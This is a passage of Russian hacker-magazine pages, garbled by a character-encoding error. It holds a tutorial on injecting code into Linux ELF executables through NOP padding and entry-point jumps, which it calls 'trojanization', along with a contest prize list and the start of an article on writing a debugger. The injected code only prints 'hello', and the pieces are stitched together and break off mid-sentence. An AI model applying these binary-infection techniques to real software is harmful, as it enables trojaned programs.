ïåðâîé ìàøèííîé êîìàíäå (îíà ðàñïîëîæå-
íà ïî àäðåñó 80482C2h) è íàæìåì <Ctrl-A>
(Assemble), ââîäèì pop esi. Ðåäàêòîð ïðåä-
ëîæèò íåñêîëüêî âàðèàíòîâ àññåìáëèðîâà-
íèÿ íà íàø âûáîð: 5Eh è 8Fh C6h. Âûáèðàåì
5Eh êàê ñàìûé êîðîòêèé (8Fh C6h ïðîñòî íå
âëåçåò â îòâåäåííîå ìåñòî), çàòåì òî÷íî òàê
àññåìáëèðóåì êîìàíäó xor ebp,ebp.
Èçìåíåííûå áàéòû ðåäàêòîð âûäåëÿåò êðàñ-
íûì öâåòîì, ÷òî íàãëÿäíî è î÷åíü êðàñèâî,
íî ïðè íàæàòèè íà <F2> (save) îíè âíîâü çå-
ëåíåþò, ïîäòâåðæäàÿ, ÷òî âñå èñïðàâëåíèÿ
óñïåøíî ñîõðàíåíû. Ïîëåé êîíòðîëüíîé
ñóììû â ELF-çàãîëîâêå íåò, è ïîòîìó çàáî-
òèòüñÿ î åå ïåðåñ÷åòå íå íóæíî. Ëèíóõ êîíò-
ðîëüíóþ ñóììó ôàéëà íå ñ÷èòàåò! À íå ñ÷è-
òàåò îí åå ïîòîìó, ÷òî ïðîåêòèðîâàëñÿ ãîëî-
âîé. Ýòî æå íå Windows! Òàêîå âïå÷àòëåíèå,
÷òî PE-ôàéë ïðîåêòèðîâàëà òîëïà íàðîäó, ñ
òðóäîì âçàèìîäåéñòâóþùàÿ ìåæäó ñîáîé.
Ñóäè ñàì: è Ëèíóõ, è Windows ïîääåðæèâàþò
ìåõàíèçì îòëîæåííîé çàãðóçêè ïî òðåáîâà-
íèþ. Ñòðàíèöû îáðàçà ïðîåöèðóþòñÿ â ïà-
ìÿòü òîãäà è òîëüêî òîãäà, êîãäà ê íèì ïðî-

èñõîäèò îáðàùåíèå,
â ðåçóëüòàòå ÷åãî íå-
ìåäëåííî ïîñëå çà-
ïóñêà ôàéë ãîòîâ ê
ðàáîòå, à âñå íåäîñ-
òàþùèå ñòðàíèöû
äîçàãðóæàþòñÿ óæå
ïîòîì (èëè íå çàãðó-
æàþòñÿ âîîáùå, íàï-
ðèìåð, ÷àñòü ïðîã-
ðàììû, îòâåòñòâåí-
íàÿ çà ïå÷àòü, âîîá-
ùå íå áóäåò çàãðóæå-
íà, åñëè íè ðàçó íå
áûë âûáðàí ïóíêò
print). Ïðîöåññ çàã-
ðóçêè êàê áû «ðàçìà-
çûâàåòñÿ» âî âðåìå-
íè, íå íåðâèðóÿ íè-
êàêèìè ïåñî÷íûìè
÷àñàìè, êîòîðûå òàê
ëþáèò äåìîíñòðèðî-
âàòü Windows. Íî!
Âåäü ïðè ïîäñ÷åòå
êîíòðîëüíîé ñóììû
ïðîèñõîäèò íåèçáåæ-
íîå îáðàùåíèå êî
âñåì ñòðàíèöàì, è
âñå îíè çàãðóæàþòñÿ
â ïàìÿòü, äàæå åñëè

íå íóæíû. Ïîëó÷àåòñÿ, ÷òî ó íàñ åñòü äâà ìå-
õàíèçìà � îäèí îïòèìèçèðóåò çàãðóçêó, äðó-
ãîé åå «ïåññèìèçèðóåò», ñúåäàÿ âåñü âûèã-
ðûø. Ãäå ëîãèêà?!
À âîò ðàçðàáîò÷èêè Ëèíóõà ïåðåëîæèëè ïîäñ-
÷åò êîíòðîëüíîé ñóììû íà óñòðîéñòâà ââî-
äà/âûâîäà, êîòîðûå åå äåéñòâèòåëüíî ñ÷èòàþò.
Êîíå÷íî, ýòî íå ñòðàõóåò îò èñêàæåíèé. Â ÷àñò-
íîñòè, æåñòêèå äèñêè êîíòðîëèðóþò òîëüêî ôè-
çè÷åñêèå äåôåêòû, íî íå îáðàùàþò âíèìàíèÿ
íà ëîãè÷åñêèå èñêàæåíèÿ (âèðóñû). Òåì íå ìå-
íåå, îñîáîãî ñìûñëà â êîíòðîëüíîé ñóììå, õðà-
íÿùåéñÿ íåïîñðåäñòâåííî â ñàìîé ôàéëå, âñå
ðàâíî íåò. Åñëè âèðóñ ìîæåò ìîäèôèöèðîâàòü
ôàéë, îí ìîäèôèöèðóåò è êîíòðîëüíóþ ñóììó.
Êîíòðîëüíûå ñóììû íóæíî õðàíèòü â îòäåëü-
íîì «çàùèùåííîì õðàíèëèùå», è èõ ïîäñ÷å-
òîì äîëæíà çàíèìàòüñÿ ôàéëîâàÿ ñèñòåìà èëè
àíòèâèðóñíûå ðåâèçîðû. Íè òîãî, íè äðóãîãî â
ìèðå Ëèíóõà íå íàáëþäàåòñÿ. Õîòÿ îíè êàê áû
åñòü, íî íè ó êîãî ðåàëüíî íå óñòàíîâëåíû.
Åäèíñòâåííóþ ïðîáëåìó ïðåäñòàâëÿþò ïðîòåê-
òîðû è óïàêîâùèêè èñïîëíÿåìûõ ôàéëîâ, êîíò-
ðîëèðóþùèå ñîáñòâåííóþ öåëîñòíîñòü. Ñ êàæ-
äûì ãîäîì èõ ñòàíîâèòñÿ âñå áîëüøå è áîëüøå.
UPX, ïðîòåêòîð îò shiv'û... Â íèõ íà ïåðâûõ ïî-
ðàõ ëó÷øå íå âíåäðÿòüñÿ!
Íî ìû îòâëåêëèñü. Âûõîäèì èç hex-ðåäàêòîðà, íà-
æàâ <F10>, è çàïóñêàåì ïðîïàò÷åííûé ôàéë. Îí
çàïóñêàåòñÿ, ïîäòâåðæäàÿ ñâîþ ðàáîòîñïîñîá-
íîñòü. Çíà÷èò, ìîäèôèêàöèÿ ïðîøëà óñïåøíî!
À òåïåðü çàéìåìñÿ áîëåå ñåðüåçíûìè âå-
ùàìè, ïîïûòàâøèñü âíåäðèòü â ïðîãðàììó
ðåàëüíûé êîä, êîòîðûé äåëàåò ÷òî-òî ïî-
ëåçíîå. Ñðàçó âîçíèêàåò âîïðîñ: êóäà ìû
áóäåì âíåäðÿòüñÿ? Ìåæäó ñåãìåíòàìè ñâî-
áîäíîãî ìåñòà íåò, ìåæäó ñåêöèÿìè òîæå.

Ìîæíî (òåîðåòè÷åñêè) ðàñøèðèòü ïîñëåä-
íèé ñåãìåíò è âíåäðèòüñÿ ñþäà, íî, âî-ïåð-
âûõ, ýòî áóäåò ñëèøêîì çàìåòíî, à âî-âòî-
ðûõ, äîâîëüíî ñëîæíî.
Íî âñå íå òàê ïëîõî, êàê êàæåòñÿ! Ïî óìîë÷à-
íèþ gcc âûðàâíèâàåò ñòàðòîâûå àäðåñà ôóíê-
öèé ïî ãðàíèöå 10h, à ýòî çíà÷èò, ÷òî äàæå íàø
äåìîíñòðàöèîííûé ôàéë ñîäåðæèò ïðîñòî êó÷ó
ñâîáîäíîãî ïðîñòðàíñòâà. Â ñðåäíåì 10h/2h =
8h áàéò íà êàæäóþ ôóíêöèþ, âêëþ÷àÿ ñëóæåá-
íûå. Ñþäà è ìàìîíòà óïðÿòàòü ìîæíî, åñëè, êî-
íå÷íî, åãî ïðåäâàðèòåëüíî ðàñ÷ëåíèòü.

[öåïî÷êà êîìàíä NOP, îñòàâëåííàÿ êîìïèëÿòî-
ðîì â êîíöå ôóíêöèè main äëÿ âûðàâíèâàíèÿ]

....... ! main: ;xref o80482d7

....... ! pushebp
8048385 ! mov ebp, esp
8048387 ! sub esp, 8
804838a ! and esp, 0fffffff0h
804838d ! mov eax, 0
8048392 ! sub esp, eax
8048394 ! mov dword ptr [esp],
strz_LORDI___the_best_group_in_the_80484e0
804839b !call wrapper_8049634_80482b0
80483a0 ! leave
80483a1 ! ret
80483a2 nop
.......
80483ac nop

À âîò åùå îäíà ëàçåéêà � áóôåð ââîäà/âûâî-
äà, ðàñïîëîæåííûé â ñåãìåíòå äàííûõ, äàìï
êîòîðîãî ïðèâåäåí íèæå. Ýòî öåëûõ 28 áàéò,
êîòîðûå ìîæíî èñïîëüçîâàòü ïî ñâîåìó óñìîò-
ðåíèþ! Äàæå åñëè íèêàêèõ ÿâíûõ ôàéëîâûõ
ìàíèïóëÿòîðîâ â ôàéëå íåò (êàê, íàïðèìåð, â
íàøåé äåìîíñòðàöèîííîé ïðîãðàììå), òàêîé
áóôåð âñå ðàâíî ñîçäàåòñÿ ïðè êîìïèëÿöèè
ïðîãðàììû, ÷òî íàø ñëó÷àé è ïîäòâåðæäàåò.

[STDIN-áóôåð, ðàñïîëîæåííûé â ñåãìåíòå
äàííûõ]

80484c2 db 00h
80484c3 db 00h
80484c4
....... _IO_stdin_used:
....... db 01h
80484c5 db 00h
80484c6 db 02h
.......
80484de db 00h
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Debugger'à, ïëþñ ñàì äèçàññåìáëåð. Åñëè íåò ÈÄÛ,
âîçüìè gdb - ñòàíäàðòíûé îòëàä÷èê, âõîäÿùèé â øòàò-
íûé êîìïëåêò ïîñòàâêè áîëüøèíñòâà Ëèíóõîâ, íî åãî
âîçìîæíîñòè ñèëüíî îãðàíè÷åíû. Â ÷àñòíîñòè, îí îòêà-
çûâàåòñÿ ãðóçèòü ôàéëû áåç section table, ñïîòûêàåòñÿ
íà àíòèîòëàäî÷íûé ïðèåìàõ è ò.ä. Èç äîêóìåíòàöèè

íàì, â ïåðâóþ î÷åðåäü, ïîíàäîáèòñÿ ñïåöèôèêàöèÿ íà ELF-
ôîðìàò, êîòîðóþ ìîæíî áåñïëàòíî ñêà÷àòü ñ
www.cs.princeton.edu/courses/archive/fall05/cos318/docs/ELF_For
mat.pdf è ïåðå÷åíü ñèñòåìíûõ âûçîâîâ â ðàçíûõ îñÿõ - UNIX
Assembly Codes Development for Vulnerabilities Illustration
Purposes (www.lsd-pl.net/documents/asmcodes-1.0.2.pdf).

îòëàäêà âíåäðÿåìîãî êîäà ñ ïîìîùüþ
èíòåãðèðîâàííîãî îòëàä÷èêà, âñòðîåííîãî 
â äèçàññåìáëåð IDA Pro

ñîçäàíèå äåìîíñòðàöèîííîé ïðîãðàììû äëÿ âíåäðåíèÿ

èñïîëíÿåìûé ôàéë â hex-ðåäàêòîðå hte
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Îñòàåòñÿ ðåøèòü, êàê ïåðåäàòü óïðàâëåíèå íà
âíåäðåííûé êîä. Ýòî ìîæíî ñäåëàòü ðàçëè÷-
íûìè ïóòÿìè: ñêîððåêòèðîâàòü òî÷êó âõîäà
(HTE ýòî óìååò) èëè âíåäðèòü â åå îêðåñòíîñ-
òè ñïåöèàëüíûé jmp. Âîò òàê ìû è ïîñòóïèì!
Çàïóñêàåì ðåäàêòîð, ïåðåõîäèì â òî÷êó âõîäà
è ñìîòðèì íà íåå î÷åíü âíèìàòåëüíî:

[òî÷êà âõîäà è åå îêðåñòíîñòè]

....... ! entrypoint:

....... ! pop esi
80482c1 ! xor ebp, ebp
80482c3 ! mov ecx, esp
80482c5 ! and esp, 0fffffff0h
80482c8 ! push eax
80482c9 ! push esp
80482ca ! push edx
80482cb ! push __libc_csu_fini
80482d0 ! push __libc_csu_init
80482d5 ! push ecx
80482d6 ! push esi
80482d7 ! push main
80482dc ! call
wrapper_8049630_80482a0
80482e1 ! hlt
80482e2 ! nop

Ïî÷åìó áû íàì íå çàìåíèòü pop esi/xor ebp,ebp íà
«jmp íà íàø êîä», îòêóäà ìû ñìîæåì ñäåëàòü âñå,
÷òî çàäóìàíî, âûïîëíèòü ýòè êîìàíäû è âåðíóòüñÿ
îáðàòíî? Íî äëÿ íà÷àëà íåîáõîäèìî ïîäãîòîâèòü

êîä, êîòîðûé ìû áóäåì âíåäðÿòü. Äëÿ ïðîñòîòû
âûâåäåì êîðîòêîå ïðèâåòñòâèå íà ýêðàí. Íà ÿçû-
êå àññåìáëåðà ýòî çâó÷èò ïðèáëèçèòåëüíî òàê:

[èñõîäíàÿ ïðîãðàììà, 
âûâîäÿùàÿ ïðèâåòñòâèå íà ýêðàí]

mov eax, 4 ; ñèñòåìíûé âûçîâ write
mov ebx,1 ; èäåíòèôèêàòîð ñòàíäàðòíîãî âûâîäà
mov ecx, offset begin_msg ; óêàçàòåëü íà ïåð-
âûé ñèìâîë âûâîäèìîãî ñîîáùåíèÿ
mov edx, offset end_msg ; óêàçàòåëü íà ïîñ-
ëåäíèé ñèìâîë âûâîäèìîãî ñîîáùåíèÿ
int 80h ; âûâîä íà ýêðàí
pop esi ; ñîõðàíåííûå êîìàíäû
xor ebx,ebp
jmp 80482C3h ; âîçâðàò â ïðîãðàììó

Ýòî íå ñàìûé îïòèìàëüíûé âàðèàíò, è åãî ìîæíî
çäîðîâî îïòèìèçèðîâàòü, åñëè ïåðåïèñàòü òàê:

[îïòèìèçèðîâàííûé âàðèàíò]

xor eax,eax
add al, 4
xor ebx,ebx
inc ebx
mov ecx, offset begin_msg
mov edx,ecx
add edx, sizeof(msg)
int 80h
pop esi
xor ebp, ebp
jmp 80482C3h

Òåïåðü ïðîêðó÷èâàÿ ôàéë â hex-ðåäàêòîðå,
íàéäåì è âûïèøåì ñòàðòîâûå àäðåñà âñåõ öå-
ïî÷åê NOP'îâ, ïðèãîäíûõ äëÿ âíåäðåíèÿ. À êà-
êèå öåïî÷êè ïðèãîäíû äëÿ âíåäðåíèÿ? Åñëè äâå
ñîñåäíèå öåïî÷êè ðàñïîëîæåíû â ïðåäåëàõ äî-
ñÿãàåìîñòè êîðîòêîãî ïåðåõîäà (ãðóáî � â ïðå-
äåëàõ ñîòíè áàéò), 3õ NOP'îâ áóäåò âïîëíå äîñ-
òàòî÷íî (2 áàéòà íà êîìàíäó ïåðåõîäà, îäèí �
íà ëþáóþ îäíîáàéòîâóþ êîìàíäó ïîëåçíîãî êî-
äà, íàïðèìåð, inc ebx èëè pop esi). Â ïðîòèâíîì
ñëó÷àå íàì íåîáõîäèìî èìåòü öåïî÷êó, ïî êðàé-
íåé ìåðå, èç øåñòè NOP'îâ: ïÿòü íà êîìàíäó
áëèçêîãî ïåðåõîäà è îäèí � íà ïîëåçíóþ êî-
ìàíäó. Â íàøåì ñëó÷àå ïîëó÷àåòñÿ:

8048306h 10 áàéò
80483a2 14 áàéò
8048464 12 áàéò

Èòîãî � 36 áàéò. Âïîëíå äîñòîéíîå ìåñòî äëÿ
äåìîíñòðàöèîííîé ïðîãðàììû! Íà÷èíàåì çà-
ïîëíÿòü öåïî÷êè NOP'îâ ïîëåçíûì êîäîì. 
Ñ ïåðâîé ïîïûòêè ó íàñ ïîëó÷àåòñÿ:

8048306 31 c0 xor eax, eax
8048308 04 04 add al, 4
804830a e9 93 00 00 00 jmp 80483a2h
804830f90 nop

Ïðè ýòîì îäèí ïîñëåäíèé NOP îñòàíåòñÿ ïîòå-
ðÿí, íî ïî-äðóãîìó íå ïîëó÷àåòñÿ. Êîìàíäà xor
ebx,ebx çàíèìàåò äâà áàéòà è ñþäà íå ïîìåùà-
åòñÿ. À ÷òî åñëè ïåðåñòàâèòü êîìàíäû ìåñòà-
ìè? Ïåðåíåñòè add al,4 â ñëåäóþùóþ öåïî÷êó
NOP, à âìåñòî íåå âñòàâèòü xor ebx,ebx/inc ebx:

8048306 31c0 xor eax, eax
8048308 31db xor ebx, ebx
804830a 43 inc ebx
804830b e9 92 00 00 00 jmp 80483a2h

Òîãäà ñëåäóþùàÿ öåïî÷êà áóäåò çàïîëíåíà òàê:

80483a2 0404 add al, 4
80483a4 b9 ?? ?? ?? ?? mov e c x ,
offset begin_msg
80483a9 89ca mov edx, ecx
80483ab e9 b4 00 00 00 jmp 8048464h

Â òðåòüþ, ïîñëåäíþþ, öåïî÷êó NOP'îâ îñòàòîê
êîäà óæå íå èäåò: íå õâàòàåò îäíîãî åäèíñòâåííî-
ãî áàéòà! ×òî æ, ïîïûòàåìñÿ åùå íåìíîãî óæàòü
íàø êîä. Íàïðèìåð, âìåñòî ïàðû èíñòðóêöèé mov
edx,ecx/add edx,sizeof(msg), êîòîðûå çàíèìàþò 5
áàéò, ìîæíî èñïîëüçîâàòü lea edx,[ecx+sizeof
(msg)]. Òîãäà âñå âëåçàåò! Íó à ñàìî ñîîáùåíèå
ìîæíî ðàçìåñòèòü â ñåãìåíòå äàííûõ. Ïîñêîëüêó
ñâîáîäíîãî ìåñòà òàì íå î÷åíü ìíîãî, îãðàíè-
÷èìñÿ ñòðîêîé hello. Çàâåðøàþùèé íóëü â êîíöå
ñòàâèòü íåîáÿçàòåëüíî, ïîñêîëüêó ñèñòåìíûé âû-
çîâ write âûâîäèò ðîâíî ñòîëüêî ñèìâîëîâ, ñêîëü-
êî åìó ïðèêàçàíî âûâåñòè, è íè íà êàêèå çíàêè
«îñòàíîâà» íå ðåàãèðóåò.
Åñëè âñå áûëî ñäåëàíî ïðàâèëüíî (÷òî ìàëîâåðî-
ÿòíî, â ïåðâûé ðàç îøèáêè äåëàþò âñå), íàø ôàéë
ïîáåäîíîñíî âûâåäåò ñòðîêó hello, à ñëåäîì çà
íåé òó ñòðîêó, êîòîðóþ âûâîäèò íàøà ïîäîïûòíàÿ
ïðîãðàììà, è ýêðàí áóäåò âûãëÿäåòü òàê:

[çàêëþ÷åíèå] Ìû ðàññìîòðåëè ïðîñòåéøèé
ñëó÷àé, à ïðîïûõòåëè íàä íèì äâà ÷àñà.  À ñêîëü-
êî çàéìåò òðîÿíèçàöèÿ ïîëíîöåííîé ïðîãðàì-
ìû? Âñþ îñòàâøóþñÿ æèçíü? Êîíå÷íî æå, íåò.
Äîëãî ýòî òîëüêî ñ íåïðèâû÷êè, ïîòîì âûðàáà-
òûâàåòñÿ íàâûê, è âñå èäåò íà àâòîïèëîòå. Ãëàâ-
íîå � íå áîÿòüñÿ òðóäíîñòåé è ïîñòîÿííî òðåíè-
ðîâàòüñÿ, îòòà÷èâàÿ ñâîå ìàñòåðñòâî

ðåçóëüòàò ðàáîòû ïðîãðàììû ïîñëå âíåäðåíèÿ

ðåçóëüòàò ðàáîòû ìîäèôèöèðîâàííîãî ôàéëà
ïîñëå ïåðåñòàíîâêè ïàðû êîìàíä ìåñòàìè -
ïîëåò íîðìàëüíûé

ìîäèôèêàöèÿ èñïîëíÿåìîãî ôàéëà 
â ðåäàêòîðå hte, èçìåíåííûå áàéòû
âûäåëÿþòñÿ êðàñíûì öâåòîì



WIFI-ÌÀÍÈß ÇÀÊÎÍ×ÈËÀÑÜ!
Áîëüøå íå áóäåì áåãàòü ïî óëèöå :). Ìû ïîäâîäèì
èòîãè. Òî÷íåå äàðèì ïðèçû íàøèì ïîáåäèòåëÿì. 
Èõ ó íàñ 7 ÷åëîâåê. Âîò îíè:

1 fisio âûèãðûâàåò ðîóòåð D-Link DSL-G604T
2-3 valenok è ahab ïîëó÷àþò òî÷êè 

äîñòóïà D-Link DWL-2100AP
4-5 no_time_ è prokuror ñòàíîâÿòñÿ 

îáëàäàòåëåì D-Link DI-624

È ïîîùðèòåëüíûå ïðèçû ïîëó÷àþòñÿ Unknown007
è lassard: D-Link DWL-G122 è D-Link DWL-G650
ñîîòâåòñòâåííî.

x



[÷òî òàêîå îòëàä÷èê] Ïî îïðåäåëåíèþ îò-
ëàä÷èê � ýòî íåêîòîðàÿ ïðîãðàììà, ïîçâîëÿþ-
ùàÿ íàáëþäàòü è âìåøèâàòüñÿ â èñïîëíåíèå
äðóãèõ ïðîãðàìì. Îíà íå îáÿçàòåëüíî äîëæíà
ïðåäîñòàâëÿòü èíòåðàêòèâíûé èíòåðôåéñ äëÿÞ
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Ðàçáèðàåìñÿ ñ ìåõàíèç-
ìàìè îòëàäêè è ïèøåì
ñîáñòâåííûé äåáàããåð

ýòîãî è âïîëíå ìîæåò ïðåäñòàâëÿòü ñîáîé ïðîñòîé òðåéñåð, îòñëåæè-
âàþùèé ïóòè èñïîëíåíèÿ êîäà, ëèáî ëîàäåð, çàäà÷à êîòîðîãî îñòàíî-
âèòü ïðîãðàììó íà îïðåäåëåííîé òî÷êå è ïîäïðàâèòü â íåé ïàðó áàéò.
Áåç ïîäîáíûõ îòëàä÷èêîâ ñ îãðàíè÷åííûì íàáîðîì âîçìîæíîñòåé íå-
âîçìîæíî îáîéòèñü. Ê ïðèìåðó, äëÿ àâòîìàòè÷åñêîé ðàñïàêîâêè ïðîòåê-
òîðîâ, ñîäåðæàùèõ ïîëèìîðôíûé êîä, èíîãäà íóæíî ñâåðíóòü ïîëè-
ìîðô. Ñòàòè÷åñêîå äåêîäèðîâàíèå ñëîæíûõ ïîëèìîðôîâ � çàäà÷à íå
èç ëåãêèõ, òàê êàê îíè ìîãóò ñîäåðæàòü êó÷ó íèêîãäà íå èñïîëíÿþùåãî-
ñÿ êîäà, îïðåäåëèòü êîòîðûé áåç ïîëíîé ýìóëÿöèè ðàáîòû ýòîãî êîäîâî-
ãî ó÷àñòêà íå ïðåäñòàâëÿåòñÿ âîçìîæíûì. Âîò òóò-òî è íóæíî íàïèñàòü
ïðîñòîé òðåéñåð, êîòîðûé ïðåðâåò ïðîãðàììó íà íóæíîì ó÷àñòêå è îò-
ñëåäèò ïóòè èñïîëíåíèÿ ïîëèìîðôíîãî êîäà, ÷òî ïîçâîëèò ñðàçó æå âû-
êèíóòü íèêîãäà íå èñïîëíÿåìûå ó÷àñòêè. Ýòî ìîæåò òàêæå ïîìî÷ü ñî-

îòëàäî÷íûå ðåãèñòðû

ÄÓÌÀÞ, ÒÛ ÍÅ ÐÀÇ ÑÒÀËÊÈÂÀËÑß Ñ ÎÒËÀÄ-
×ÈÊÎÌ: ×ÓÆÓÞ ÏÐÎÃÓ ÂÇËÎÌÀÒÜ, ÑÂÎÞ ÎÒ-
ËÀÄÈÒÜ � ÒÓÒ ÁÅÇ ÍÅÃÎ ÍÈÊÓÄÀ. ÄÅÁÀÃÃÅÐ
� ÍÅÇÀÌÅÍÈÌÀß ÄËß ÕÀÊÅÐÀ ÈËÈ ÊÎÄÅÐÀ
ÂÅÙÜ. ÍÎ ÇÀÄÓÌÛÂÀËÑß ËÈ ÒÛ, ÊÀÊ ÎÍ ÐÀ-
ÁÎÒÀÅÒ? ÊÀÊ ÎÒËÀÆÈÂÀÅÒ? ÅÑËÈ ÄÀ, ÒÎ ÒÅ-
ÁÅ Î×ÅÍÜ ÏÐÈÃÎÄÈÒÑß ÝÒÎÒ ÌÀÒÅÐÈÀË. Â
ÍÅÌ ß ÏÎÑÒÀÐÀÞÑÜ ÎÁÚßÑÍÈÒÜ ÏÐÈÐÎÄÓ
ÐÀÁÎÒÛ ÎÒËÀÄ×ÈÊÎÂ, ÌÅÕÀÍÈÇÌÛ, Ñ ÏÎ-
ÌÎÙÜÞ ÊÎÒÎÐÛÕ ÍÀ ÑÀÌÎÌ ÄÅËÅ ÍÅ
Î×ÅÍÜ ÑËÎÆÍÀß ÏÐÎÃÐÀÌÌÀ ÏÎËÓ×ÀÅÒ
ÏÎËÍÓÞ ÂËÀÑÒÜ ÍÀÄ ËÞÁÛÌ ÏÐÎÖÅÑÑÎÌ Â
ÑÈÑÒÅÌÅ. ÏÐÈ×ÅÌ ÍÅ ÒÎËÜÊÎ ÎÁÚßÑÍÈÒÜ,
ÍÎ È ÄÀÆÅ ÏÎÊÀÇÀÒÜ, ÊÀÊ ÐÀÇÐÀÁÎÒÀÒÜ
ÍÅÑËÎÆÍÛÉ ÎÁÅÇÆÓ×ÈÂÀÒÅËÜ ÑÀÌÎÑÒÎß-
ÒÅËÜÍÎ | Ms-Rem (Ms-Rem@yandex.ru)
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ÎÁÕÎÄ ÎÎÃÐÀÍÈ×ÅÍÈß
ß äóìàþ, òû óæå çàìåòèë îäíî íåïðèÿòíîå îãðàíè÷åíèå
áðåêïîèíòîâ óñòàíàâëèâàåìûõ ñ ïîìîùüþ îòëàäî÷íûõ
ðåãèñòðîâ � íåëüçÿ îòñëåæèâàòü ÷òåíèå/çàïèñü ó÷àñòêà
ïàìÿòè ðàçìåðîì áîëåå ÷åòûðåõ áàéò. Îêàçûâàåòñÿ, ñó-
ùåñòâóåò ìåòîä, ïîçâîëÿþùèé îáîéòè ýòî îãðàíè÷åíèå.
Åñëè òåáå èçâåñòíû ïðèíöèïû ðàáîòû ïðîöåññîðà â çà-
ùèùåííîì ðåæèìå ñî ñòðàíè÷íîé àäðåñàöèåé, òî äëÿ
òåáÿ íå áóäåò ñåêðåòîì, ÷òî ïàìÿòü äåëèòñÿ íà ñòðàíè-
öû, è â êàæäîé ñòðàíèöå ìîãóò áûòü íàçíà÷åíû ñâîè àò-
ðèáóòû äîñòóïà. Åñëè çàïðàøèâàåìûé äîñòóï ê ñòðàíè-
öå íå ñîâïàäàåò ñ óñòàíîâëåííûìè àòðèáóòàìè, òî ãåíå-
ðèðóåòñÿ èñêëþ÷åíèå îáùåé çàùèòû (èìåþùåå íîìåð
0E). Ìåòîä óñòàíîâêè áðåêïîèíòîâ ïî äîñòóïó ê áîëü-
øèì îáëàñòÿì ïàìÿòè çàêëþ÷àåòñÿ â óñòàíîâêå íà íóæ-
íûå ñòðàíèöû àòðèáóòîâ äîñòóïà PAGE_NOACCESS, çà-
ïðåùàþùèõ îáðàùåíèÿ ê ýòîé ñòðàíèöå, è â îáðàáîòêå
âîçíèêàþùèõ ïðè ýòîì èñêëþ÷åíèé. Ëþáàÿ êîìàíäà, îá-
ðàùàþùàÿñÿ ê îáîçíà÷åííîé îáëàñòè ïàìÿòè, áóäåò âû-
çûâàòü èñêëþ÷åíèå, åãî áóäåò ëîâèòü îòëàä÷èê, îáðàáà-
òûâàòü, ïîñëå ÷åãî âîññòàíàâëèâàòü ñòàðûå àòðèáóòû
äîñòóïà è ïðîäîëæàòü èñïîëíåíèå êîäà. Ýòîò ìåòîä èñ-
ïîëüçóåòñÿ â IceExt (ïëàãèíå SoftICE'à) â êîìàíäå bpr.



áðàòü êîä èç êóñêîâ, êîòîðûå îáû÷íî ðàñêèäàíû ïî ïðîãðàììå è ñâÿçà-
íû óñëîâíûìè è áåçóñëîâíûìè ïåðåõîäàìè. Ýòè ïåðåõîäû îáû÷íî ëèáî
âñåãäà èñïîëíÿþòñÿ, ëèáî íèêîãäà íå èñïîëíÿþòñÿ, è îïðåäåëèòü ýòî
îïÿòü æå ïîìîæåò òðåéñåð. 
Â îáùåì, ÷òî ÿ õîòåë ñêàçàòü, � ðàçîáðàòüñÿ ñ ïðèíöèïàìè ðàáîòû îò-
ëàä÷èêà áóäåò íå òîëüêî èíòåðåñíî, íî è íåâåðîÿòíî ïîëåçíî.

[ñòàðèííûå ñïîñîáû îòëàäêè] Äëÿ íà÷àëà îïðåäåëèì äâà âàæíûõ
äåéñòâèÿ, êîòîðûå äîëæåí âûïîëíÿòü îòëàä÷èê è ÷àùå âñåãî âûïîëíÿ-
åò. Áåç íèõ ôàêòè÷åñêè íåâîçìîæíî âìåøèâàòüñÿ â âûïîëíåíèå ïðî-
ãðàììû. Íåñîìíåííî, òàêèìè äåéñòâèÿìè áóäóò òðàññèðîâêà è óñòàíîâ-
êà áðåêïîèíòîâ. Ðàç óæ ÿ âçÿëñÿ çà ýêñêóðñ â èñòîðèþ, âñïîìíþ çàìå÷à-
òåëüíûé êîìïüþòåð ZX-Spectrum. Äëÿ òåõ, êòî â òàíêå, � ýòî ìàøèíà ñ
ïðèìèòèâíûì ïðîöåññîðîì è 32 êèëîáàéòàìè (â áàçîâîé êîíôèãóðàöèè)
ïàìÿòè. Íè î êàêîì çàùèùåííîì ðåæèìå è ìíîãîçàäà÷íîñòè çäåñü íåò
è ðå÷è, íî äàæå íà ýòîì êîìïüþòåðå áûëè îòëàä÷èêè, ïîçâîëÿþùèå
òðàññèðîâàòü ïðîãðàììó è ñòàâèòü áðåêïîèíòû. 
Óñòàíîâêà áðÿêîâ çàêëþ÷àëàñü â ïåðåçàïèñè 3-õ áàéò êîäà íà èí-
ñòðóêöèþ jmp, óêàçûâàþùóþ íà êîä äåáàããåðà. Åñòåñòâåííî, ïðî-
ãðàììà äîõîäèëà äî ýòîé òî÷êè è ïåðåäàâàëà óïðàâëåíèå îòëàä÷èêó.
Ïîñëå ñðàáàòûâàíèÿ áðåêïîèíò ñíèìàëñÿ, à êîä ïðîãðàììû âîçâðà-
ùàåòñÿ îáðàòíî íà ñâîå ìåñòî.
Ñ òðàññèðîâêîé òàì âñå áûëî ãîðàçäî ñëîæíåå. Äëÿ åå âûïîëíåíèÿ
êàæäàÿ òðàññèðóåìàÿ êîìàíäà ïåðåíîñèëàñü â îòäåëüíûé áóôåð, â
êîòîðîì ïðîèñõîäèëî ñîõðàíåíèå ñîäåðæèìîãî âñåõ ðåãèñòðîâ ïðî-
öåññîðà, âûïîëíåíèå êîìàíäû, ñîõðàíåíèå ïðîèçâåäåííûõ åé èçìå-
íåíèé è âîññòàíîâëåíèå ñîäåðæèìîãî ðåãèñòðîâ. Íàäî ïðèçíàòü,
îïåðàöèÿ íå ñàìàÿ óäîáíàÿ, êîòîðàÿ ê òîìó æå íå ãàðàíòèðîâàëà
êîððåêòíóþ ðàáîòó êîäà âî âñåõ âîçìîæíûõ ñëó÷àÿõ. Áîëåå òîãî, ëþ-
áàÿ îøèáêà â îòëàæèâàåìîé ïðîãðàììå íàìåðòâî âåøàëà âåñü êîì-
ïüþòåð âìåñòå ñ îòëàä÷èêîì. Êîøìàð! Â òî âðåìÿ ýòî âñå ñ÷èòàëîñü
ïðîãðåññèâíîé òåõíîëîãèåé, ïîòîìó ÷òî ëó÷øèõ ìåòîäîâ ïðîñòî íå
ñóùåñòâîâàëî. Îäíàêî, êàê ýòî íå ïàðàäîêñàëüíî, ýòè ìåòîäû îò-
ëàäêè îñòàþòñÿ àêòóàëüíûìè è äî ñèõ ïîð, è ìîãóò âûðó÷èòü â òåõ
ñëó÷àÿõ, êîãäà ïðîãðàììà ñîäåðæèò çàùèòó îò ñîâðåìåííûõ ìåòî-
äîâ îòëàäêè, ðå÷ü î êîòîðûõ ïîéäåò íèæå.

[ñîâðåìåííûå ñïîñîáû îòëàäêè] Ñ ïîÿâëåíèåì x86-ïðîöåññîðîâ
